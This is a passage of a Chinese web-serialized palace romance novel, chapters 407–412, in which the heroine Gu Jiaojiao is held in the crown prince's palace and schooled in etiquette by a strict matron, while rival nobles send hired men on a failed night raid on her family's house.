她今日特意天不亮就进宫,为的就是来给顾皎皎一顿羞辱,可这个贱人从始至终都没有什么反应,这让她极为不甘心。 “顾皎皎,你莫要仗着太子喜欢你,你就这般为所欲为,我告诉你……” “赵姑娘也不是第一日认识我,当知道,我为所欲为,倚仗的从来都不是谁的喜欢,是我顾皎皎有为所欲的资本。” 她目光坚定,每个字都掷地有声。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零七章 我有自己的生活 赵蕴苎气急败坏的走了。 她是想好好教训顾皎皎一顿的,可有了之前的那次,这一次她也不好太放肆。 赵蕴苎离开不过半刻钟的时间,沈云祉便踱着正步了进来。 他一只手背在身后,另一只身前的手上,拎着几枝红梅。 “刚刚路过倚梅园,想着你爱这红梅,便亲手折了几枝。” 沈云祉晃了晃手中的红梅,而后递到顾皎皎面前。 顾皎皎低垂下眼眸,看了那红梅一会儿才接下,却转手就递到云舒手中。 “殿下应不是刚刚采花儿而归,而是听了半个时辰的墙角吧。” 她抬了抬眼帘,看向沈云祉的目光都满是不悦。 沈云祉被拆穿,也并不意外,他喜欢的便是顾皎皎这股聪明劲儿。 “果然啊,什么也瞒不过你,自然了,你也没让我失望,那位赵姑娘出去时的脸色可不好。” 他自顾自的坐在下来,开着玩笑,也还是给人一种无赖的感觉。 “她能在这寝宫自由出入,自然是有你的指使,明知她不安好心,你还能放她过来,自然是想听些什么,太子殿下可听到想听的了?” 当然听到了,不然也不会携花而入。 他听到顾皎皎对杜玉荣的事丝毫不在意,便已觉得十分高兴了。 “吾乃太子,非礼勿听,未听到你们说什么。” 沈云祉挑了挑眉毛,明显心情好极了。 顾皎皎懒得跟他废话,瞪着他问出自己担心之事。 “安阳候府到底是什么情况?他们为何去顾府找麻烦?” 就如顾皎皎刚刚对赵蕴苎说的,她猜到顾府没有事,但这安阳候府属实是过分。 “双剑去查过了,说复杂这其中多有曲折,说简单点就是平王在找机会对付我。” 沈云祉并不打算瞒顾皎皎,她若是那承受不住的女子,也不会得他倾心以待。 孙协兆,徐青青,他们是商量好的要拿顾府讨平王的好,只不过他们并不了解顾府的情况,所以这次吃了亏。 “这些人行事阴狠,怕还有后手,沈云祉,让我出宫吧。” 顾皎皎看着沈云祉的脸,无不认真的说道。 她与其他女子不同的是,在得知此事是平王的阴谋时,她不曾怪过沈云祉半分,现在认真说起出宫之事,也未有半分埋怨。 只是,沈云祉一门心思要将她留下,不肯放她。 “顾府的事,我已经派人去处理,多可以向你保证,顾府里的任何人不会有任何差池。” 沈云祉尝了一口茶,微微皱眉,而后将手中的杯子放下。 “我还是喝惯了第一楼的茶,明日让双瑞去拿些,也给你带些。” 他这话说的无比轻巧,好似不管是第一楼的东西,还是顾皎皎的东西,都是他的一般。 “沈云祉,顾府的事是我的家事,你这样将我困在宫中有何意义?我有自己的生活。” 顾皎皎的语气又郑重了几分。 沈云祉是兴致勃勃来的,原本在外面听到那些话,也是满心欢喜,但顾皎皎偏偏在此时再次提出离开的事。 她说,她有她自己的生活,那他呢?他从来都不在她的生活计划里吗? 沈云祉一言不发的离开了。 他没有留下一个字,却也表达了自己竖立的态度。 顾皎皎无奈。 她能用的招数都用了,向沈云祉服过软,也心平气和的探讨过,绝食过,也费尽心思的激怒他,可最后都没有得到自己想要的结果。 顾皎皎只有将希望寄托于云南王了。 赵蕴苎离开皇宫后,并未直接回府,而是来到了杜府。 杜玉荣被禁足的事,她也是从别人那里听说的,今日也是第一次过来。 她想着,她与杜玉荣自小一起长大,她又有着首辅孙女的身份,若是见到杜伯父,也许能为杜玉荣求求情。 只可惜,赵蕴苎只见到了杜玉荣的母亲。 杜家乃书香世家,杜夫人也是名门闺秀,知书达理,在内温婉贤良,在外也有书香门第的傲气。 赵蕴苎以前也常来杜家,与杜夫人也算是熟识。 “许久不见伯母,伯母气色愈发好了。” 她心悦杜玉荣,自然已是习惯讨好杜家人,这于她高高在上的赵家千金而言,实属难得。 “赵姑娘的嘴真甜,来人,上茶。” 杜夫人淡雅端庄,眉眼处浅浅笑意,让人挑不出任何错漏。 “听闻荣哥哥闯了祸事,被杜伯父罚了,我还想着今日过来与他品诗呢。” 赵蕴苎刻意提起杜玉荣。 杜夫人倒是不动声色,神情未变。 “是啊,荣儿行事不妥,被他父亲教训也是难免的。” “荣哥哥向来是谨慎稳妥之人,想来这其中有什么误会,或者是被人连累了才是,伯母也该为荣哥哥求求情的。” 赵蕴苎笑的甜美,很是为杜玉荣着想的模样。 杜夫人抬了抬眼帘。 “多谢赵姑娘好意,只是俗语有言,子不教父之过,荣儿他爹处罚也是本分,我一妇道人家自不可插嘴。” 赵蕴苎面露尴尬之色,勉强的扯出一抹笑意。 “伯母说的是,是我多言了。” 杜夫人则笑了笑。 “赵姑娘言重了,不过是闲聊而已。” “是啊,对了,我今日带了一些亲手做的糕点,伯母您尝尝,如果可以的话,也给荣哥哥送一点。” 杜家的家教一向极严,杜玉荣被罚,想来日子并不好过,赵蕴苎总是有些担心。 只是,当赵蕴苎将这份糕点放在桌上之时,杜夫人的神色也冷了几分。 “赵姑娘,恕我直言,你不该再与荣儿来往过密。” 此话一出,赵蕴苎的笑也是僵在脸上,半晌才缓缓开口。 “伯母此话何意?我们两家本就关系亲密,我与荣哥哥也是从小一起长大……” “家族亲密,自有长辈们来往,你与荣儿都已长大,男女授受不亲,自也是要该避嫌的,何况,姑娘如今已有了太子妃的身份,更不该与荣儿私下见面。” 杜夫人一向清高,她从不在意什么首辅之女,所谓直言,也不过是因为知道了一些事。 这也是赵蕴苎第一次见杜夫人这般,一时有些不知所措。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零八章 守好自己的本分 “伯母,伯母今日是不是心情不好?我……要不,我改日再来看望伯母。” 赵蕴苎说着便欲起身,却被杜夫人拦了下来。 “赵姑娘留步。” 杜夫人投过来的目光略显凌厉,但举手投足间依旧保持着典雅的风范。 “荣儿行事不妥,是我们为人父母管教不善,但赵姑娘处处宣扬与荣儿亲厚,到底是失了世家风范的规矩。” 这便是杜家人生气的原由。 杜玉荣醉酒当众要求娶一介商女,抛开这商女的身份不谈,只杜玉荣这行为便是杜家这种家风所不能容忍的。 杜家也并非不讲理之人,在得知此事后,立即派人去查,这一查不要紧,不仅得到了顾皎皎的身份信息,还得知赵蕴苎在外嚣张行事的事迹。 赵蕴苎不只对顾皎皎当众为难,就连以前与杜玉荣相处亲近些的女子,也都被她教训过,到现在京城中,都盛传杜玉荣与赵蕴苎青梅竹马,是会缔结百年之约的。 流言无稽,若是以前,杜府出面解释这些流言就是了,可现在这赵蕴苎已然由了陛下亲赐圣旨,是未来太子妃的人选。 可即使是这种情况下,赵蕴苎还是在外行事张狂,不只一次去找顾皎皎的麻烦,甚至当众提及是因为杜玉荣。 如此这般,杜家人自是不能忍的。 “伯母误会了,我自是敬重荣哥哥的,我只是不想他被那些有心机的女子骗了去。” 赵蕴苎的声音都有些发抖。 她并不是害怕杜夫人会拿她怎样,而是怕给杜家人留下不好的印象。 “荣儿乃是了杜家独子,上有父母,下有宗族规矩,何需你来操心?我们杜家向来与皇室无甚牵扯,而赵姑娘既已为皇家人,就要守好自己的本分。” 杜夫人的语气明显加重了几分。 赵蕴苎头埋得很低,轻咬着红唇,抑制着不让自己的眼泪流下来。 “说起来,你到底是晚辈,这些话我本该与你家中长辈说才是,但你到底也是我看着长大的孩子,今日与你说了,你要心中有数。” 杜夫人缓缓站起身,拂了拂衣袖,扫了一眼桌上的糕点。 “这糕点赵姑娘还是拿回去吧,日后若无事也不必再来府上。” 杜夫人拂袖而去。 赵蕴苎一向傲慢无礼,若是别人说这样的话,她定然不会放在心上,但此话出自杜玉荣母亲之口,她自是有些接受不了。 回到首辅后,赵蕴苎将自己关起来大哭了一场。 她未敢让首辅知道此事,只得一个人默默承受下,一天两次受此屈辱,她自然是不甘心的。 她不敢,也不会对杜夫人心生埋怨,便将这所有的怒火与委屈都算得到了顾皎皎的头上。 皇宫。 顾皎皎午睡刚起,无意就从外面跑了进来。 “姑娘,外面来了一位嬷嬷,说是来教姑娘规矩的。” 无意说这话时,也看了云舒一眼,毕竟在此之前她们从未听过有这样一回事。 “教规矩?你是不是听错了?” 云舒无比意外。 顾皎皎便觉得这是沈云祉的意思。 “让她去告诉沈云祉,我不打算留在皇宫,自也不必学那些没用的规矩。” 顾皎皎坐在镜前,一脸无所谓的说道。 只是,无意没有走。 “姑娘,来的嬷嬷说,是奉陛下旨意过来的。” 此话一出,顾皎皎猛然转过头,不可思议看着无意。 “陛下?皇上为何知道我的存在?不对,皇上为何会派人来教导礼仪?” 她问出两个问题都觉得不妥,却也没有其他话来表达她此时的心情。 果然,无意摇了摇头。 “无意,你先去请嬷嬷进来,就说姑娘正在梳妆,稍后便出去。” 云舒到底是在宫里待的时间久了,知道皇上身边的任何人是不能得罪的。 无意跑了出去。 云舒则低下头凑近顾皎皎。 “姑娘,殿下身边的人不会对姑娘怎样,但皇上身边的人则不同了,稍有不慎,便是毁家灭放的大罪,姑娘万万不可怠慢。” 她这话说的也没错。 顾皎皎能对沈云祉多次无礼,是因为知道他不会伤害于她,可她这等身份,又惊动了皇上,怕是不可轻视。 顾皎皎点了点头,让云舒给她简单的妆扮一下,尽量淡雅一些,显得温和一点。 她从内室出来时,那位嬷嬷正端正的站在一边。 “让嬷嬷久等了。” 顾皎皎到底是没有实际的身份,走过来时,微微欠身行礼。 听到动静,嬷嬷转过身,态度倒是谦和,躬着身子,向顾皎皎行礼。 “奴婢姓莫,奉陛下之命过来教姑娘规矩,实在叨扰姑娘,望姑娘见谅。” 莫嬷嬷到底是宫中的老人了,无论是从礼数上,还是言语上,都极为周到。 “嬷嬷客气了,只是,民女并非宫中之人,能得皇上如此抬举,实在是有些惶恐。” 顾皎皎甚至没有坐下,只是这样面对面与莫嬷嬷站着。 “姑娘乃是太子殿下看重之人,自然与旁人不同,皇上了解到姑娘的出身,怕是不了解宫中规矩,日后在皇宫里也不方便行走,才命老奴前来。” 不方便? 应该是怕她日后丢了沈云祉的脸吧? “嬷嬷既是御前的人,自是身份贵重,只是,可否帮民女向皇上转达,民女是可以出宫的。” 顾皎皎态度温和,目光也带着乞求之意。 莫嬷嬷的脸上倒是袭上了一抹意外之色,她也是第一次见到不愿留在宫中的女子。 但这抹意外转瞬不见。 “顾姑娘折煞老奴了,如今皇上还在病中,外人不可擅自打扰,但天子之言便是圣旨,老奴怕是无能为力。” 她这是婉拒了顾皎皎的提议,同时也表明的,该遵旨的不只是她,还有顾皎皎。 顾皎皎无奈,也只能扯动了下嘴角。 “如此,那就有劳嬷嬷了。” 她也只能认下,至少在她出宫之前,她总不能落下一个抗旨不遵的罪名吧。 为了不怠慢这位嬷嬷,顾皎皎还专门命人给她收拾出一间屋子,整个东宫寝宫里的下人也都得敬着。 这也难怪,御前的人,莫嬷嬷的身份就比许多人都高贵不少。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百零九章 苦不堪言 莫嬷嬷留在了东宫,顾皎皎从此以后的日子便也没那么清闲。 一整日下来,顾皎皎腰酸的很,伏在床榻边一动不想动。 云舒帮她卸下头上的珠钗,无意也在一旁轻轻帮她按着腰。 “奴婢去打听过了,这位莫嬷嬷可是不得了,曾是太后身边的掌事姑姑,也是将皇上一手带大的嬷嬷。” 云舒虽然进宫早,但在此之前当差时也并未见过嬷嬷,所以特意去打听了一下。 顾皎皎趴在床榻之上,侧头看向云舒,也不免有些好奇。 “这等身份自是贵重的,哪怕只是一个嬷嬷也可在宫中安享晚年了,竟只是来教我规矩,会不会大材小用了些?” “是啊,就这点很奇怪,奴婢还听闻,这莫嬷嬷自皇上登基起就不当差了,皇上还专门给她留了养老的院子,这一次不知怎么又出来了。” 云舒也很疑惑。 “定是因为太子殿下看重姑娘,皇上又信任殿下,所以才派了身份如此贵重的嬷嬷来教导,日后就算说起,别人也会高看姑娘一眼的。” 无意大胆的猜测着,或者说,在她的心里,只要是对顾皎皎好的,她都敢猜。 顾皎皎没有说话,陷入了沉思。 真的像无意说的那样吗? 为何她隐隐有种不好的预感呢? 莫嬷嬷是极为严厉的。 翌日清晨,天刚蒙蒙亮,她便出现在了顾皎皎的床榻前。 顾皎皎被轻轻摇醒,睡眼朦胧的看着眼前的嬷嬷,一脸狐疑。 “姑娘,该起了。” 莫嬷嬷恭敬的站在一旁,但说出来的话却不容质疑。 顾皎皎自是极为不情愿的,可人家是带着皇上的圣旨的,她也只能强撑着坐起身。 莫嬷嬷立即喊来云舒与无意过来给顾皎皎梳洗。 “日后,姑娘都要这个时辰起,若是赶上大节庆,还要起的更早一些。” “姑娘将来的身份无论是侍妾还是侧妃,都要晨起候着殿下,就算殿下不过来,也不可草率偷懒。” “每日早膳过后,也必须要去给太子妃请安奉茶,若是太子妃无事,身为侍妾也得陪着。” “自然了,若是太子殿下提前有令,要以太子殿下为先。” 只是顾皎皎梳洗的时间里,莫嬷嬷便说了这么多,也似是在向顾皎皎解释为何会起的如此早的原因。 顾皎皎也实在不懂,宫里的女子为何削尖了脑袋要上位,这可不是一人轻松的活计。 果然,接下来莫嬷嬷又说了与夫君相处时的规矩。 “为妻者,需贤良淑德,但姑娘的夫君是储君,是未来天子,除了夫妻之情,还有君臣之礼,见太子时,需行大礼问安,太子坐时,需站在一侧侍奉,太子让坐才能坐……” 后面莫嬷嬷还说了些什么,顾皎皎的思绪已经飘了。 这位嬷嬷刚用了个什么词,夫君? 顾皎皎心里不禁苦笑,她与沈云祉有夫妻之实,却无夫妻之名,这所谓的‘夫君’二字,多少有些勉强。 最重要的是,这位莫嬷嬷教这些时,似是已经确定顾皎皎会留于宫中,完全是当成未来的嫔妃来教导的。 “姑娘,老奴说的,您都记住了吗?” 莫嬷嬷的声音将她的思绪拉回。 “记住了,多谢嬷嬷教导。” 顾皎皎装出极为认真的模样,但大多时间她都是心不在焉的。 早膳时,也有诸多规矩。 一道菜不可夹三次以上,若是夫君在,便要先服侍夫君用膳,而后自己才可以用,夫君布菜皆由贴身公公来做,身为妃妾不可为夫君夹菜。 不可劝膳,也不可对旁人说夫君都吃了些什么,喝了些什么…… 这一系列的规矩教下来,顾皎皎的脑袋已经成一片糨糊了。 “姑娘先歇息下,半个时辰后,老奴过来教姑娘敬茶的规矩。” 莫嬷嬷欠身行礼。 顾皎皎牵强的扯出一丝笑。 “有劳嬷嬷,我命人准备了新鲜的果子,已经送入嬷嬷的房中。” “多谢姑娘。” 莫嬷嬷后退出殿门,才转身离开。 在那个身影消失后,顾皎皎直接瘫坐在椅子上。 云舒与无意都心疼不已,立即上前帮她轻敲着腿。 “莫嬷嬷也太过严厉了些,虽然说这都是宫中的规矩,可也不必如此严苛,不只要听,还要让姑娘复述,幸好姑娘聪明,若换作奴婢,打死也是记不下来的。” 无意轻声抱怨着,但话音落下就被云舒轻拍了一下。 “别胡说,这话传到莫嬷嬷的耳朵里,不是给姑娘惹麻烦吗?” 听着她们二人的对话,顾皎皎顿感一阵绝望。 “所以说,皇宫里的妃妾当真有这么多的规矩?” 她有气无力的问道。 云舒重重的点头。 “不瞒姑娘说,姑娘现在所学的不过是些皮毛。” 顾皎皎瞬间闭上了眼睛,她在心里祈祷着,祈祷云南王快些救她于水火。 与此同时,沈云祉突然忙碌起来。 朝政之上的事从来都没有少过,平王也几次找麻烦,他需要全力应对。 而抛开朝堂之事,近来也开始多了些其他事。 城郊出现了一批悍匪,抢夺百姓财产,甚至还强抢民女,官府派出几波人都没有抓到人,沈云祉只得亲自负责。 城中也出现了一个盗贼,甚至偷了佛宝阁的夜明珠,查无头绪,沈云祉也得亲自负责。 云南边境有外朝入侵,云南王不在边境,沈云祉也要负责此事,安排合理的人选,调查情况。 …… 类似这样的事,一件接着一件,沈云祉忙得不可开交,有关顾皎皎那边的情况,他也只能听属下的汇报。 “莫嬷嬷极为严苛,顾姑娘这两日来苦不堪言。” 双瑞汇报着,满脸的无奈。 那莫嬷嬷的本事,他可是知道的,想来顾皎皎的日子不会好过。 沈云祉从一众折子里抬起头,扯了扯嘴角。 “这样也好,这段时间让她忙些,累些,她便不会想些有的没的了。” 他所指的自然是顾皎皎要离开皇宫之事。 他近来忙碌,有些顾不上她,现下有个教规矩的人,也可让她没有机会胡闹。 沈云祉觉得这个办法极好。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百一十章 不异于抄家 “还有,顾府那边也要派人盯着。” 沈云祉深知顾皎皎在意什么,所以他会将一切安排妥当。 “是,属下已经派人过去了,但平王不会亲自出面,只会利用那个孙协兆,此人也成不了什么大事。” 双瑞对孙协兆这个人满是不屑。 沈云祉也一样。 “以前,孙协兆在我手下做事,我怎的没有发现,他是如此龌龊之人?” 沈云祉摇了摇头,继续低头处理那些折子。 双瑞笑了笑,抱拳行礼后退出了书房。 双瑞有句话说的没错,现在孙协兆就是平王手中的一颗棋子。 安阳候府的日子并不好过。 徐青青并不是一个小气的人,也愿意拿些银钱出来,使她自己看上去身份高贵,不容质疑,但前提是,得是她高兴的时候。 这安阳候府里的人都习惯了锦衣玉食的生活,却又想像之前对顾皎皎一样对待徐青青,自是会得罪人的。 徐青青掌管家务,料理后宅,所有的大权都在她手上,她自是得意的。 侍女青儿从外面回来,气鼓鼓的。 徐青青抬头看了她一眼。 “不过就是出去结些账目银子,怎的这般晦气的回来。” 青儿将手中的账薄交给徐青青,还是一脸的不悦。 “刚去账房,遇到了二夫人,说是她院里的月例银子太少,非拉着奴婢再多要一些,奴婢自是不敢的,二夫人就打了奴婢。” 青儿是唯一一个随着徐青青嫁入安阳候府的丫头,身份自然与旁人不同,在这府中大多人也都不会招惹她,可那刘氏是个烈火性子,气头之上怕是管不了那么多。 徐青青伸出手,抬起青儿的下巴轻轻转了转,终是在这丫头的右脸上看到了红痕,明显是巴掌留下的。 “以前觉得这刘氏是个愚蠢的,不屑与计较,不成想胆子竟这般大,敢动我的人,反了她了。” 收回手时,徐青青恨恨的咬了咬牙。 青儿没再说什么,端起桌上的茶递给了徐青青。 徐青青接下,低头思索了一下后,才缓缓开口。 “安排几个人,去刘氏的院子里,就说她上月超了月例银子,要拿些东西抵账,抵平她多出来的银钱。” 青儿不禁扬起笑脸,立即起身。 “是,奴婢这就去办。” 青儿转身向外跑去,却在门口撞到了刚进来的孙协兆。 青儿有些慌乱,简单的行了个礼后,便跑了出去。 “什么事啊,这么急。” 孙协兆踏进屋内,看向徐青青的目光里都满是柔情。 徐青青坐在镜前,抬手整理着自己额间的头发。 “内宅之事罢了,不是什么大事,夫君今日可有什么好消息?” 她转移了话题,再说于她而言,也没必要将这府里的事,事无俱细的说给孙协兆听。 孙协兆叹了口气,而后缓缓的摇摇头。 “说来也是怪,自从这顾皎皎不在顾府里,那个臭小子便再也没有出过王府,偶尔出来的都是顾府的下人,想要绑人,怕是难了。” 他们的计划,是趁顾昭出门时绑人,有那个孩子在手,顾皎皎自然不会像之前那样嘴硬了。 只是到现在为止,孙协兆打探了许久,也用了一些方法,却都没有机会。 “父王那边怕是要急了。” 徐青青转过身,面对着孙协兆,又有些担忧的开口。 “这次的事如果做不好,怕是父王会怪罪吧。” 她眨着一双水汪汪的大眼睛,眼中是担忧,也似透着无奈。 “是啊,所以,我决定不等了。” 孙协兆说着时,拉起她的手,满目温柔。 “不等了?” “是,我挑了几个人手,准备今晚夜闯顾府。” “这会不会太冒险了?顾府里那个丫头可是很厉害的,就算她寡不敌众,但拖延久了,怕也是会引起别人注意的。” “我备了迷药,事先让人进去。” 看的出来,孙协兆确实是安排好了。 “夫君,辛苦你了,为了父王做此等冒险之事。” 徐青青歪着头靠进他的怀中,一副温柔可怜的模样。 孙协兆却口令是笑了笑,抬起她的头,看向她的目光里都袭上了欲火。 “我不是为了王爷,是为了你这个小妖精。” 话音落下之时,孙协兆的吻也落了下来,徐青青娇羞的说着‘讨厌’,欲拒还迎。 很快,这屋子里便布满香艳,媚惑的声音更是在屋子里回荡。 与此同时,同在安阳候府的刘氏,正在孙老夫人屋中哭闹。 “那徐青青也太过猖狂了些,派人直接闯了我院子,连我房中的琉璃花瓶都拿走了,她这般行事,不异于抄家。” “还有母亲之前送我的头面,那可是价值不菲,她也不曾放过。” “母亲,您可要为儿媳做主啊。” 刘氏的嗓门本来就大,现在再夹杂着哭声,这整间屋子都似是被雷席卷了一般。 孙老夫人被吵的头疼,眉头紧皱,转头看向章氏。 章氏也烦躁不已,却可以什么都不表现出来,她明白孙老夫人的意思,只得上前一步开口。 “二弟妹,你莫要哭了,徐青青那般性子,我们谁能拿她怎样?何况今日之事,你也有不妥。” “大嫂此话何意?难不成她上门抢东西,她还有理了不成?” “她为何闯你院子?还不是因为你打了她的侍女,那是她带入府里的侍女,怎可轻易打骂。” “什么样的侍女也不过是下人,她称我一声嫂嫂,我连个下人还打不得了?” 刘氏的音量都不自觉的提高了许多。 “你……” 只与她对话,章氏便气的不轻,半晌没说出一个字。 孙老夫人看不下去了。 “好了,刘氏,你莫要忘了,你院子里日后的一应开销还指望着徐青青,你打她的侍女,就是打她的脸,这一次是拿你东西,下一次,她就会将你赶出去。” 孙老夫人所言,并不是危言耸听,毕竟‘分家’这样的话,别说是徐青青,就连孙协兆都说过。 刘氏突然止住了哭声,可怜又可恨,她委屈巴巴的看向孙老夫人。 “母亲,我们当真要被她一直这般踩在脚下吗?” 她所问的,何尝不是孙老夫人所想? 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百一十一章 自然有所防备 夜幕降临。 顾昭已经安然睡下。 馨儿将屋子里的灯灭了,才走到外室。 今夜是她值夜,说起来,现在的顾府也无事可忙,她与莺儿也只需要负责顾昭的生活便是。 且顾昭向来懂事,平时都是在学功课,也费不了什么精神。 馨儿倚靠在门边的柱子,顿时觉得困意来袭,忍不住打了个哈欠。 深冬的夜,起了冷风,也便不再宁静,这样的夜里,即使是有人翻墙入内,也不易引起别人的注意。 随后,一个黑影消失,紧接着便是无数个黑衣人踏入这间院子。 只是一个商户之女的府邸,却极为宽敞,越过前院,后院的几个小院子都极为精致。 到底是之前做了一些了解,这群黑衣人倒是没有耽搁,直奔顾昭的院子而去。 破门而入,十几个人闯入院中,但却并未引起里面人的任何动静。 整个院子寂静无声。 为首的黑衣人冲身后的人看了一眼,眼中泛着得意的光芒,身后也明白他的意思,跟着他一起向门口走去。 他们轻手轻脚,但当为首之人的人放在门边的那一刻,一道冷箭从身后袭来,直接射穿了那人的手掌。 那人痛叫一声,一群人也转头看向身后。 暗夜之下,围墙之上,一道雪白的身影立于风中,他的衣衫随风摆动,一把长剑在月色下闪着寒光。 他就那样冷傲的站在那里,高高在上,俯视院中的十几人。 “多管闲事,上。” 看那人只是孤身一人,为首的那人便沉声下达了命令,他们倚仗人多,并不将墙上之人放在眼里。 一群人扑了过来,那人也不躲,垂直而下落在院中,与这些人打作一团。 说是打作一团,其实也就是手起刀落,将这些人废掉而已,动作利落,只是向前走了几步,那十几人便倒地不起了。 白衣男子起身,侧目看了看自己染血的剑,眼底闪过一抹嫌恶。 但很快,他就意识到不对,立即转身,便在门口看到了一个倩丽的身影。 “你叫双剑,我记得你。” 馨儿环抱双臂,倚靠在门口,看着眼前的男子不禁扬起嘴角,她向来崇拜武艺高强之人。 双剑皱了皱眉。 “你没中迷烟?” 他倒是有些意外。 那些人为保稳妥,分别有两人向屋子里喷了迷烟,按这样的剂量来说,屋子里任何喘气的怕都得昏迷。 馨儿从门口处的台阶走下来,不屑的看了一眼地上的那些人。 “我是从小被毒大的,那迷烟刚喷进来时,我就可知是何种植物提取,自然有所防备。” 她一边说着,一边打量着双剑,也打量着他手中的那把剑。 “你的剑,不是普通的剑。” 馨儿又补了一句。 双剑一向性子冷漠,却因为她的话,眉眼间袭上一抹若有若无的笑意。 他没有说话,而是抬起剑,将剑柄递给了馨儿。 馨儿高兴,立即接下,很快她就在发现,在这一把剑中还藏着一把小剑,锋利无比。 双剑的名字,竟是这个意思吗? “你刚刚与他们打架的时候,并没有亮出这把小剑。” “他们不配。” 双剑的言语中满是自信。 馨儿将剑还给他,又歪头盯着他。 “是姑娘让你来的?哦,不对,是太子殿下让你来的?” “是。” “我们姑娘什么时候回来?” “可能回不来了。” “什么?” “事已解决,我先告辞了。” “等等,这些人怎么办?” “不知道。” 说完,双剑快走几步翻墙而出,消失在夜色里。 馨儿叹了口气,转头看向地上的人,好在还有几个活着,可以问些口供。 顾府的大多人都中了迷烟,馨儿自制了一些解药放在莺儿的口鼻处让她闻着,很快,莺儿便醒了过来。 莺儿也不曾想,会有贼人如此大胆,竟然敢暗夜行刺。 “这些人是直奔公子的房间而来,看来是有人指使的。” 馨儿看着满院的尸体,低声说道。 莺儿点了点头。 “姑娘不在,想来也查不出什么结果,报官吧。” “报官?莺儿姐姐,那有几个活口,我们大可以审问的,如果报官,再像之前一样官官相护,那岂不不了了之了?” 馨儿不愿,她还想要报仇呢,敢在她馨儿面前放肆,她一定要让他们后悔。 “查出来又能怎样呢?你还能挨个将他们杀了不成?” 莺儿轻叹了口气,又继续说了下去。 “我们自己查出来的东西,是没有任何用处的,报官。” 馨儿也只得照做。 翌日。 一夜未睡的孙协兆没有等到他想要得到的消息,反而等来了平王的召唤。 平王命人来传他,并言明尽快前往平王府。 徐青青放心不下,也猜测着怕是派出去的人出事了,便与孙协兆一同前往平王府。 也是这一次,徐青青在平王府内又见到了平王妃。 相比之前的凌厉,此时的平王妃显得淡漠了许多,看到徐青青时,也只是冷眼扫过,未为难,甚至没有说一句话。 平王妃离开了屋子,还命人将门关上。 此时,屋子里只有平王以及孙协兆夫妇二人。 “你是怎么做事的?每一次都要留在下把柄吗?” 房门关上的那一刻,平王的怒吼声也传来了。 孙协兆头埋得很低,大气都不敢喘,甚至连辩解的话也不敢说。 最后还是徐青青上前,询问着事情的原委。 顾府在昨夜夜间报官,官府不仅查到了几具尸体,还留下了几个活口。 也不知道孙协兆是哪里找的人,那几个活着的,进了大牢甚至连刑都没有用,就将孙协兆供了出来。 不只供出幕后主使,还供出所有的交易的细节。 大牢里有平王的人,立即将消息传了出来,平王才立即找人封了口,没有将此事闹大。 “你好歹也跟在沈云祉身边两年,他行事的诡谲你是半分也没有学到,废物。” 平王有资本当着孙协兆的面骂他,也敢让他恨不得找个地缝钻进去。 “王爷息怒,小婿知错了。” 现在除了认错,孙协兆也没有什么话敢说了。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第四百一十二章 有什么了不起 徐青青也万万没想到事情会变成这样。 确切的说,她没想到顾皎皎有如此本事,躲过了明查,又能躲过暗杀,她明明不在府中,却依旧可以与他们对抗。 “父王息怒,协兆也只是想帮父王分忧,谁也不曾想到,那个顾皎皎如此难对付。” 徐青青上前替孙协兆说话。 平王已然发泄完怒火,有了个台阶,自然也就下了。 他缓缓坐下,命跪在地上的孙协兆起身。 “也不只是顾皎皎,昨夜有人暗中相助,我命人去查过,他们说是一个白衣剑客出手,他们才没有得逞。” 平王的语气缓和了一些,但投过来的目光依旧阴冷。 孙协兆不敢怠慢,立即思索起来。 “白衣剑客,莫不是太子身边的双剑?” 他曾为了帮平王做事,与双剑来往过一段时日,听着平王所说的用剑招数,他能猜到的人,也只有双剑了。 平王微微点头,稍感欣慰,至少这孙协兆还没有蠢到不能要的地步。 “本王也这样想。” 他话音落下之时,徐青青的脸上已经满是恨意。 “身为太子,竟然让自己的贴身侍卫去保护一个贱户女子,当真是笑话。” 她说的咬牙切齿,除了仇恨,更是嫉妒。 她明明是平王的女儿,有郡主的身份,可所过的日子竟还不如顾皎皎分毫,储君相护,这等好事从未落在她身上过。 有那么一刻,她甚至想,若是当年不与孙协兆在一起,她是否也有机会接近太子…… “沈云祉心狠,命人护着顾府,却并未调查,他定是留了后手的。” 平王沉声说道。 说实话,他猜不透沈云祉的想法,所以接下来,他也不知该做些什么。 “王爷,不如小婿出面再行刺杀,破釜沉舟,您放心,就算我被抓,也绝不会提王爷半字。” “愚蠢。” 平王狠狠的瞪了孙协兆一眼,脸上也是一副恨铁不成钢的神色。 “静观其变吧,再有任何行动,我们怕是再无回天之力了。” 平王终是下了令。 除此之外,平王还交代孙协兆,日后行事之前必须向他汇报,在没有他的命令之时,也不可轻举妄动。 孙协兆此时已经吓得不轻,自然痛快应下。 在离开前,徐青青还是忍不住向平王问及了平王妃的事。 “父王,之前不是说平王妃犯了错,已在观中修行吗?这……怎么回来了?” 徐青青倒是表现出可怜兮兮的模样,小心翼翼,惹人怜爱。 只是,她忘记了,她所面对的人是平王,是她的父王,却也是并不疼爱她的父王。 平王抬了抬眼帘,依旧是威严的模样。 “青青啊,现在你已是安阳候府的人,平王府的事就莫要操心。” 只这一句,便让徐青青所有的神情都僵在脸上。 “父王误会了,我,我只是担心父王被人蒙骗,才多嘴的。” “你已嫁为人妇,该谨守自己的本分,还有,平王妃乃是平王府的当家主母,这个身份,希望你谨记。” 平王几乎毫不犹豫的说道,声音也冷了几分。 徐青青眼含着泪,却也不敢再多说一个字,转身走了出去。 在外面等着的孙协兆看出异样,立即询问出了何事。 徐青青自是不会将平王不待见她的话说出去,只说无事。 二人向外走着,却在院中遇到了平王妃。 平王妃此时正带着侍女路过,远远的看着那二人走过来,她也不打算与他们有什么接触,便想着直接离开。 可徐青青是个不知死活的,她不会放过任何一个欺负别人的机会。 “许久不见平王妃,倒是清减了不少,可见佛寺里的伙食不佳啊。” 徐青青人还未到,声音已到,又刻意提到佛寺,明显就是为了给平王妃难堪。 平王妃还是停下了脚步。 她的脸上没什么表情,转身看着徐青青夫妇二人走到自己面前。 “王妃怎是这副神情,好似我是什么恶人一般,说起来,我们也算是一家人,这段时日不见您,青青担心的很呢。” 